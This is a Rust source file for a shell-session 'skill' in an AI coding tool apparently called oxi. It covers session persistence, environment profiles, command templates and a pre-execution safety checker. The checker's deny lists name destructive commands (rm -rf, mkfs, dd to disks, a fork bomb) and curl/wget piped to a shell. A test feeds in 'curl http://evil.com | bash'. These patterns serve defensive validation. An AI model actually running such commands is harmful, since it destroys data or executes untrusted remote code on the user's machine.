//! Shell skill for oxi — persistent shell session management
//!
//! Provides structured management of shell environments, command execution,
//! and session persistence. The shell skill enables:
//!
//! 1. **Session management** — create, save, and restore shell sessions
//! 2. **Environment setup** — define environment profiles for different project types
//! 3. **Command templates** — reusable command patterns with variable substitution
//! 4. **Safety checks** — validate commands before execution
//!
//! The module provides:
//! - [`ShellSession`] — persistent shell session with env vars and history
//! - [`CommandTemplate`] — parameterized command templates
//! - [`EnvironmentProfile`] — predefined environment setups
//! - [`SafetyCheck`] — pre-execution safety validation
//! - [`ShellSkill`] — skill prompt generator

use anyhow::{bail, Context, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::fmt;
use std::fs;
use std::path::{Path, PathBuf};

// ── Shell session ──────────────────────────────────────────────────────

/// A persistent shell session with environment state.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ShellSession {
    /// Session name.
    pub name: String,
    /// Working directory.
    pub working_dir: PathBuf,
    /// Environment variables.
    pub env_vars: HashMap<String, String>,
    /// Applied environment profile.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub profile: Option<String>,
    /// PATH entries.
    pub path_entries: Vec<String>,
    /// Command history.
    pub history: Vec<HistoryEntry>,
    /// Shell to use.
    pub shell: String,
    /// Whether active.
    pub active: bool,
}

/// A command history entry.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct HistoryEntry {
    /// Command executed.
    pub command: String,
    /// Exit code.
    pub exit_code: i32,
    /// Timestamp (ms since epoch).
    pub timestamp: i64,
    /// Working directory at execution time.
    pub working_dir: PathBuf,
    /// Duration in milliseconds.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub duration_ms: Option<u64>,
}

impl ShellSession {
    /// Create a new shell session.
    pub fn new(name: impl Into<String>) -> Self {
        Self {
            name: name.into(),
            working_dir: std::env::current_dir().unwrap_or_default(),
            env_vars: HashMap::new(),
            profile: None,
            path_entries: Vec::new(),
            history: Vec::new(),
            shell: "bash".to_string(),
            active: true,
        }
    }

    /// Set working directory.
    pub fn with_working_dir(mut self, dir: impl Into<PathBuf>) -> Self {
        self.working_dir = dir.into();
        self
    }

    /// Set shell.
    pub fn with_shell(mut self, shell: impl Into<String>) -> Self {
        self.shell = shell.into();
        self
    }

    /// Set an environment variable.
    pub fn set_env(&mut self, key: impl Into<String>, value: impl Into<String>) {
        self.env_vars.insert(key.into(), value.into());
    }

    /// Get an environment variable.
    pub fn get_env(&self, key: &str) -> Option<&str> {
        self.env_vars.get(key).map(|s| s.as_str())
    }

    /// Remove an environment variable.
    pub fn remove_env(&mut self, key: &str) -> Option<String> {
        self.env_vars.remove(key)
    }

    /// Add a PATH entry.
    pub fn add_to_path(&mut self, entry: impl Into<String>) {
        let entry = entry.into();
        if !self.path_entries.contains(&entry) {
            self.path_entries.push(entry);
        }
    }

    /// Record a command in history.
    pub fn record_command(
        &mut self,
        command: impl Into<String>,
        exit_code: i32,
        working_dir: impl Into<PathBuf>,
    ) {
        self.history.push(HistoryEntry {
            command: command.into(),
            exit_code,
            timestamp: chrono::Utc::now().timestamp_millis(),
            working_dir: working_dir.into(),
            duration_ms: None,
        });
    }

    /// Record a command with duration.
    pub fn record_command_with_duration(
        &mut self,
        command: impl Into<String>,
        exit_code: i32,
        working_dir: impl Into<PathBuf>,
        duration_ms: u64,
    ) {
        self.history.push(HistoryEntry {
            command: command.into(),
            exit_code,
            timestamp: chrono::Utc::now().timestamp_millis(),
            working_dir: working_dir.into(),
            duration_ms: Some(duration_ms),
        });
    }

    /// Get recent commands.
    pub fn recent_commands(&self, n: usize) -> &[HistoryEntry] {
        let start = self.history.len().saturating_sub(n);
        &self.history[start..]
    }

    /// History length.
    pub fn history_len(&self) -> usize {
        self.history.len()
    }

    /// Build full PATH.
    pub fn full_path(&self) -> String {
        let mut path = std::env::var("PATH").unwrap_or_default();
        for entry in &self.path_entries {
            path.push(':');
            path.push_str(entry);
        }
        path
    }

    /// Build environment for execution.
    pub fn build_env(&self) -> HashMap<String, String> {
        let mut env: HashMap<String, String> = std::env::vars().collect();
        for (key, value) in &self.env_vars {
            env.insert(key.clone(), value.clone());
        }
        env.insert("PATH".to_string(), self.full_path());
        env
    }

    /// Clear history.
    pub fn clear_history(&mut self) {
        self.history.clear();
    }

    /// Export environment as shell script.
    pub fn export_env_script(&self) -> String {
        let mut script = String::with_capacity(1024);
        for (key, value) in &self.env_vars {
            script.push_str(&format!("export {}={}\n", key, shell_escape(value)));
        }
        if !self.path_entries.is_empty() {
            let path_additions = self
                .path_entries
                .iter()
                .map(|e| shell_escape(e))
                .collect::<Vec<_>>()
                .join(" ");
            script.push_str(&format!("export PATH=\"{}:$PATH\"\n", path_additions));
        }
        script
    }

    /// Save to file.
    pub fn save_to_file(&self, path: &Path) -> Result<()> {
        if let Some(parent) = path.parent() {
            fs::create_dir_all(parent)
                .with_context(|| format!("Failed to create {}", parent.display()))?;
        }
        let json = serde_json::to_string_pretty(self).context("Failed to serialize")?;
        fs::write(path, json).with_context(|| format!("Failed to write {}", path.display()))?;
        Ok(())
    }

    /// Load from file.
    pub fn load_from_file(path: &Path) -> Result<Self> {
        let content = fs::read_to_string(path)
            .with_context(|| format!("Failed to read {}", path.display()))?;
        serde_json::from_str(&content)
            .with_context(|| format!("Failed to parse {}", path.display()))
    }
}

// ── Command templates ──────────────────────────────────────────────────

/// A parameterized command template.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct CommandTemplate {
    pub name: String,
    pub description: String,
    pub template: String,
    pub variables: Vec<TemplateVariable>,
    #[serde(default)]
    pub tags: Vec<String>,
    #[serde(default)]
    pub destructive: bool,
}

/// A variable in a command template.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct TemplateVariable {
    pub name: String,
    pub description: String,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub default: Option<String>,
    #[serde(default = "default_true")]
    pub required: bool,
}

fn default_true() -> bool {
    true
}

impl CommandTemplate {
    /// Create a new command template.
    pub fn new(
        name: impl Into<String>,
        description: impl Into<String>,
        template: impl Into<String>,
    ) -> Self {
        Self {
            name: name.into(),
            description: description.into(),
            template: template.into(),
            variables: Vec::new(),
            tags: Vec::new(),
            destructive: false,
        }
    }

    /// Add a required variable.
    pub fn required_var(mut self, name: impl Into<String>, description: impl Into<String>) -> Self {
        self.variables.push(TemplateVariable {
            name: name.into(),
            description: description.into(),
            default: None,
            required: true,
        });
        self
    }

    /// Add an optional variable.
    pub fn optional_var(
        mut self,
        name: impl Into<String>,
        description: impl Into<String>,
        default: impl Into<String>,
    ) -> Self {
        self.variables.push(TemplateVariable {
            name: name.into(),
            description: description.into(),
            default: Some(default.into()),
            required: false,
        });
        self
    }

    /// Mark as destructive.
    pub fn destructive(mut self) -> Self {
        self.destructive = true;
        self
    }

    /// Add a tag.
    pub fn tag(mut self, tag: impl Into<String>) -> Self {
        self.tags.push(tag.into());
        self
    }

    /// Render the command with variable values.
    pub fn render(&self, vars: &HashMap<String, String>) -> Result<String> {
        for var in &self.variables {
            if var.required && !vars.contains_key(&var.name) && var.default.is_none() {
                bail!(
                    "Missing required variable '{}' for template '{}'",
                    var.name,
                    self.name
                );
            }
        }
        let mut result = self.template.clone();
        for var in &self.variables {
            let value = vars
                .get(&var.name)
                .or(var.default.as_ref())
                .cloned()
                .unwrap_or_default();
            let placeholder = format!("{{{{{}}}}}", var.name);
            result = result.replace(&placeholder, &value);
        }
        Ok(result)
    }
}

// ── Environment profiles ───────────────────────────────────────────────

/// A predefined environment profile.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct EnvironmentProfile {
    pub name: String,
    pub description: String,
    pub env_vars: HashMap<String, String>,
    pub path_entries: Vec<String>,
    pub setup_commands: Vec<String>,
    pub aliases: HashMap<String, String>,
}

impl EnvironmentProfile {
    /// Create a new profile.
    pub fn new(name: impl Into<String>, description: impl Into<String>) -> Self {
        Self {
            name: name.into(),
            description: description.into(),
            env_vars: HashMap::new(),
            path_entries: Vec::new(),
            setup_commands: Vec::new(),
            aliases: HashMap::new(),
        }
    }

    /// Set env var.
    pub fn env_var(mut self, key: impl Into<String>, value: impl Into<String>) -> Self {
        self.env_vars.insert(key.into(), value.into());
        self
    }

    /// Add PATH entry.
    pub fn path_entry(mut self, entry: impl Into<String>) -> Self {
        self.path_entries.push(entry.into());
        self
    }

    /// Add setup command.
    pub fn setup_command(mut self, cmd: impl Into<String>) -> Self {
        self.setup_commands.push(cmd.into());
        self
    }

    /// Add alias.
    pub fn alias(mut self, name: impl Into<String>, value: impl Into<String>) -> Self {
        self.aliases.insert(name.into(), value.into());
        self
    }

    /// Apply to session.
    pub fn apply_to(&self, session: &mut ShellSession) {
        for (key, value) in &self.env_vars {
            session.set_env(key, value);
        }
        for entry in &self.path_entries {
            session.add_to_path(entry);
        }
        session.profile = Some(self.name.clone());
    }

    /// Built-in Rust profile.
    pub fn rust() -> Self {
        Self::new("rust", "Rust development environment")
            .env_var("RUST_BACKTRACE", "1")
            .env_var("CARGO_TERM_COLOR", "always")
            .alias("cb", "cargo build")
            .alias("ct", "cargo test")
            .alias("cr", "cargo run")
    }

    /// Built-in Node.js profile.
    pub fn nodejs() -> Self {
        Self::new("nodejs", "Node.js development environment")
            .env_var("NODE_ENV", "development")
            .alias("ni", "npm install")
            .alias("nr", "npm run")
    }

    /// Built-in Python profile.
    pub fn python() -> Self {
        Self::new("python", "Python development environment")
            .env_var("PYTHONUNBUFFERED", "1")
            .env_var("PYTHONDONTWRITEBYTECODE", "1")
            .alias("pi", "pip install")
            .alias("pt", "pytest")
    }
}

// ── Safety checks ──────────────────────────────────────────────────────

/// Risk level.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum RiskLevel {
    Safe,
    Low,
    Medium,
    High,
    Critical,
}

impl fmt::Display for RiskLevel {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        match self {
            RiskLevel::Safe => write!(f, "safe"),
            RiskLevel::Low => write!(f, "low"),
            RiskLevel::Medium => write!(f, "medium"),
            RiskLevel::High => write!(f, "high"),
            RiskLevel::Critical => write!(f, "critical"),
        }
    }
}

/// Safety check result.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SafetyCheckResult {
    pub risk_level: RiskLevel,
    pub allowed: bool,
    pub reason: String,
    #[serde(default)]
    pub suggestions: Vec<String>,
}

/// Pre-execution safety validator.
pub struct SafetyCheck;

impl SafetyCheck {
    const DESTRUCTIVE_PATTERNS: &'static [&'static str] = &[
        "rm -rf",
        "rm -r",
        "rm -f",
        "rmdir",
        "del /",
        "format",
        "mkfs",
        "dd if=",
        ":(){:|:&};:",
        "> /dev/sd",
        "dd of=/dev",
    ];

    #[allow(dead_code)]
    const DANGEROUS_PIPE_PATTERNS: &'static [&'static str] = &[
        "curl | sh",
        "curl | bash",
        "wget | sh",
        "wget | bash",
        "curl | sudo",
        "wget | sudo",
    ];

    const PROTECTED_PATTERNS: &'static [&'static str] =
        &["/etc/", "/usr/", "/bin/", "/sbin/", "/boot/", "/root/"];

    /// Assess the risk level of a command.
    pub fn assess(command: &str) -> SafetyCheckResult {
        let cmd_lower = command.to_lowercase();

        for pattern in Self::DESTRUCTIVE_PATTERNS {
            if cmd_lower.contains(pattern) {
                return SafetyCheckResult {
                    risk_level: RiskLevel::Critical,
                    allowed: false,
                    reason: format!("Destructive command pattern: {}", pattern),
                    suggestions: vec![
                        "Use --dry-run first".to_string(),
                        "Verify target paths".to_string(),
                    ],
                };
            }
        }

        // Check for piping to shell commands
        let pipe_to_shell_patterns = ["| sh", "|sh", "| bash", "|bash", "|sudo", "| sudo"];
        for pattern in &pipe_to_shell_patterns {
            if cmd_lower.contains(pattern) {
                // Also check if the command starts with a download tool
                let download_tools = ["curl", "wget"];
                for tool in &download_tools {
                    if cmd_lower.starts_with(tool) {
                        return SafetyCheckResult {
                            risk_level: RiskLevel::Critical,
                            allowed: false,
                            reason: format!("Piping download output to shell: {}", pattern.trim()),
                            suggestions: vec!["Download and inspect the script first".to_string()],
                        };
                    }
                }
            }
        }

        for pattern in Self::PROTECTED_PATTERNS {
            if cmd_lower.contains(&pattern.to_lowercase()) {
                return SafetyCheckResult {
                    risk_level: RiskLevel::High,
                    allowed: false,
                    reason: format!("Targets protected path: {}", pattern),
                    suggestions: vec!["Avoid modifying system paths".to_string()],
                };
            }
        }

        if cmd_lower.starts_with("sudo") || cmd_lower.contains(" sudo ") {
            return SafetyCheckResult {
                risk_level: RiskLevel::High,
                allowed: false,
                reason: "Requires elevated privileges (sudo)".to_string(),
                suggestions: vec!["Check if operation can be done without sudo".to_string()],
            };
        }

        if cmd_lower.contains(" -f ") || cmd_lower.contains(" --force") {
            return SafetyCheckResult {
                risk_level: RiskLevel::Medium,
                allowed: true,
                reason: "Force flag detected".to_string(),
                suggestions: vec!["Consider running without --force first".to_string()],
            };
        }

        let safe_commands = [
            "ls",
            "cat",
            "head",
            "tail",
            "grep",
            "find",
            "which",
            "echo",
            "pwd",
            "whoami",
            "date",
            "uname",
            "env",
            "printenv",
            "type",
            "git status",
            "git log",
            "git diff",
            "git branch",
            "git show",
            "cargo check",
            "cargo test",
            "cargo build",
            "cargo clippy",
            "npm test",
            "npm run",
            "npm list",
        ];

        for safe_cmd in &safe_commands {
            if cmd_lower.starts_with(safe_cmd) {
                return SafetyCheckResult {
                    risk_level: RiskLevel::Safe,
                    allowed: true,
                    reason: format!("Read-only / safe command: {}", safe_cmd),
                    suggestions: Vec::new(),
                };
            }
        }

        SafetyCheckResult {
            risk_level: RiskLevel::Medium,
            allowed: true,
            reason: "Unknown command".to_string(),
            suggestions: Vec::new(),
        }
    }
}

// ── Shell skill ────────────────────────────────────────────────────────

pub struct ShellSkill;

impl ShellSkill {
    pub fn new() -> Self {
        Self
    }
    pub fn skill_prompt() -> String {
        r#"# Shell Skill

You are running the **shell** skill. You manage persistent shell sessions,
environment profiles, and command safety.

## Session Management

Sessions track working directory, environment variables, PATH additions,
command history with exit codes, and shell type.

## Environment Profiles

Pre-defined profiles for Rust, Node.js, and Python development.

## Safety Checks

Before executing commands, assess risk level:

| Risk Level | Action |
|-----------|--------|
| Safe | Execute directly |
| Low | Execute with note |
| Medium | Confirm with user |
| High | Require explicit approval |
| Critical | Block and suggest alternative |

### Blocked Patterns

- `rm -rf` without specific target
- `curl | sh` / `wget | sh`
- Modifications to `/etc/`, `/usr/`, `/bin/`
- `sudo` commands
"#
        .to_string()
    }
}

impl Default for ShellSkill {
    fn default() -> Self {
        Self::new()
    }
}

impl fmt::Debug for ShellSkill {
    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
        f.debug_struct("ShellSkill").finish()
    }
}

fn shell_escape(s: &str) -> String {
    if s.is_empty() {
        return "''".to_string();
    }
    let safe = s
        .chars()
        .all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-' || c == '.' || c == '/');
    if safe {
        return s.to_string();
    }
    format!(
        "\"{}\"",
        s.replace('\\', "\\\\")
            .replace('"', "\\\"")
            .replace('$', "\\$")
            .replace('`', "\\`")
    )
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_session_new() {
        let session = ShellSession::new("test");
        assert_eq!(session.name, "test");
        assert!(session.active);
    }

    #[test]
    fn test_session_env() {
        let mut session = ShellSession::new("test");
        session.set_env("FOO", "bar");
        assert_eq!(session.get_env("FOO"), Some("bar"));
        assert_eq!(session.get_env("MISSING"), None);
    }

    #[test]
    fn test_session_remove_env() {
        let mut session = ShellSession::new("test");
        session.set_env("FOO", "bar");
        assert_eq!(session.remove_env("FOO"), Some("bar".to_string()));
    }

    #[test]
    fn test_session_path() {
        let mut session = ShellSession::new("test");
        session.add_to_path("/usr/local/bin");
        session.add_to_path("/usr/local/bin"); // duplicate
        assert_eq!(session.path_entries.len(), 1);
        assert!(session.full_path().contains("/usr/local/bin"));
    }

    #[test]
    fn test_session_record() {
        let mut session = ShellSession::new("test");
        session.record_command("ls", 0, "/tmp");
        session.record_command("fail", 1, "/tmp");
        assert_eq!(session.history_len(), 2);
    }

    #[test]
    fn test_session_recent() {
        let mut session = ShellSession::new("test");
        for i in 0..10 {
            session.record_command(format!("cmd {}", i), 0, "/tmp");
        }
        let recent = session.recent_commands(3);
        assert_eq!(recent.len(), 3);
        assert_eq!(recent[2].command, "cmd 9");
    }

    #[test]
    fn test_session_clear_history() {
        let mut session = ShellSession::new("test");
        session.record_command("cmd", 0, "/tmp");
        session.clear_history();
        assert!(session.history.is_empty());
    }

    #[test]
    fn test_session_build_env() {
        let mut session = ShellSession::new("test");
        session.set_env("MY_VAR", "value");
        let env = session.build_env();
        assert_eq!(env.get("MY_VAR"), Some(&"value".to_string()));
    }

    #[test]
    fn test_session_export_script() {
        let mut session = ShellSession::new("test");
        session.set_env("FOO", "bar");
        let script = session.export_env_script();
        assert!(script.contains("export FOO=bar"));
    }

    #[test]
    fn test_session_save_load() {
        let tmp = tempfile::tempdir().unwrap();
        let path = tmp.path().join("session.json");
        let mut session = ShellSession::new("test").with_shell("zsh");
        session.set_env("KEY", "value");
        session.save_to_file(&path).unwrap();
        let loaded = ShellSession::load_from_file(&path).unwrap();
        assert_eq!(loaded.name, "test");
        assert_eq!(loaded.shell, "zsh");
        assert_eq!(loaded.get_env("KEY"), Some("value"));
    }

    #[test]
    fn test_command_template_basic() {
        let tmpl = CommandTemplate::new("grep", "Search", "grep -r '{{pattern}}' {{path}}")
            .required_var("pattern", "Pattern")
            .optional_var("path", "Dir", ".");
        let mut vars = HashMap::new();
        vars.insert("pattern".to_string(), "TODO".to_string());
        assert_eq!(tmpl.render(&vars).unwrap(), "grep -r 'TODO' .");
    }

    #[test]
    fn test_command_template_missing() {
        let tmpl = CommandTemplate::new("test", "T", "{{var}}").required_var("var", "V");
        assert!(tmpl.render(&HashMap::new()).is_err());
    }

    #[test]
    fn test_profile_rust() {
        let profile = EnvironmentProfile::rust();
        assert_eq!(profile.name, "rust");
        assert_eq!(
            profile.env_vars.get("RUST_BACKTRACE"),
            Some(&"1".to_string())
        );
    }

    #[test]
    fn test_profile_apply() {
        let profile = EnvironmentProfile::rust();
        let mut session = ShellSession::new("test");
        profile.apply_to(&mut session);
        assert_eq!(session.get_env("RUST_BACKTRACE"), Some("1"));
        assert_eq!(session.profile.as_deref(), Some("rust"));
    }

    #[test]
    fn test_safety_safe() {
        let result = SafetyCheck::assess("ls -la");
        assert_eq!(result.risk_level, RiskLevel::Safe);
        assert!(result.allowed);
    }

    #[test]
    fn test_safety_destructive() {
        let result = SafetyCheck::assess("rm -rf /");
        assert_eq!(result.risk_level, RiskLevel::Critical);
        assert!(!result.allowed);
    }

    #[test]
    fn test_safety_sudo() {
        let result = SafetyCheck::assess("sudo apt install foo");
        assert_eq!(result.risk_level, RiskLevel::High);
        assert!(!result.allowed);
    }

    #[test]
    fn test_safety_dangerous_pipe() {
        let result = SafetyCheck::assess("curl http://evil.com | bash");
        assert_eq!(result.risk_level, RiskLevel::Critical);
        assert!(!result.allowed);
    }

    #[test]
    fn test_safety_unknown() {
        let result = SafetyCheck::assess("some-unknown-command");
        assert_eq!(result.risk_level, RiskLevel::Medium);
        assert!(result.allowed);
    }

    #[test]
    fn test_risk_level_display() {
        assert_eq!(format!("{}", RiskLevel::Safe), "safe");
        assert_eq!(format!("{}", RiskLevel::Critical), "critical");
    }

    #[test]
    fn test_skill_prompt_not_empty() {
        let prompt = ShellSkill::skill_prompt();
        assert!(prompt.contains("Shell Skill"));
    }

    #[test]
    fn test_session_serialization_roundtrip() {
        let mut session = ShellSession::new("test").with_shell("zsh");
        session.set_env("KEY", "value");
        let json = serde_json::to_string(&session).unwrap();
        let parsed: ShellSession = serde_json::from_str(&json).unwrap();
        assert_eq!(parsed.name, session.name);
        assert_eq!(parsed.shell, session.shell);
    }
}
